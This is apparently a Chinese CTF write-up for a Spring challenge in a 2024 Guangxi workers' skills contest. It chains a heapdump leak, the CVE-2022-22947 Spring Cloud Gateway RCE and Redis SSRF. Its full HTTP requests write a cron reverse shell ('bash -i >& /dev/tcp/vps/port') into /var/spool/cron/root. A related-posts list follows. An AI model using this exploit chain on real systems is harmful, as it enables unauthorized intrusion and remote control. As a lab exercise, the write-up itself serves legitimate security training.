2024年广西职工职业技能大赛-Spring

考点:

复制代码
1、spring 敏感文件泄露
2、Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)
3、redis反弹shell

解题:

首先是heapdump泄露,读redis key得到

然后利用 Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947) 打redis就可以了

复制代码
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 3b5744e1e70597c3.node.nsctf.cn
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "http://127.0.0.1:6379/",
  "order": 0
}

POST /actuator/gateway/refresh HTTP/1.1
Host: 3b5744e1e70597c3.node.nsctf.cn
Connection: close
Content-Type: application/json

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
  ],
  "uri": "https://www.cnpanda.net",
  "order": 0
}

POST /new_route/xxx.xxx HTTP/1.1
Host: 3b5744e1e70597c3.node.nsctf.cn
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

auth P@ssw0rd
set xx "\n* * * * * bash -i >& /dev/tcp/vps/port 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

注意任务计划反弹shell方法仅适用于Centos

Ubuntu 不能用的原因如下:

因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行

因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错

由于系统的不同,crontrab 定时文件位置也不同:

复制代码
Centos 的定时任务文件在 /var/spool/cron/<username>
Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/<username>
相关推荐
※DX3906※几秒前
SpringBoot之旅4: MyBatis 操作数据库(进阶) 动态SQL+MyBatis-Plus实战,从入门到熟练,再也不踩绑定异常、SQL拼接坑
java·数据库·spring boot·spring·java-ee·maven·mybatis
java1234_小锋4 分钟前
Java高频面试题:怎么实现Redis的高可用?
java·开发语言·redis
jiankeljx8 分钟前
MySQL-mysql zip安装包配置教程
java
FlagOS智算系统软件栈9 分钟前
智源×Eclipse基金会携手打造PanEval,中欧协同开启“评测+开源+合规”新模式
java·eclipse·开源
日出等日落15 分钟前
用 Kavita实现我的远程数字书屋搭建记!
java·开发语言·ide·vscode·编辑器
Alan GEO实施教练22 分钟前
实用新型专利申请代理机构选择:关键考量因素与实操要点讲解
java·开发语言·python
一个脚本boy23 分钟前
【Billu_bOx1靶机的完整详细渗透测试附靶机下载链接】
web安全·网络安全
gelald24 分钟前
JVM - 类加载机制
java·jvm·后端
谪星·阿凯24 分钟前
Pikachu靶场完整通关秘籍
安全·网络安全
Darkdreams25 分钟前
Java进阶-在Ubuntu上部署SpringBoot应用
java·spring boot·ubuntu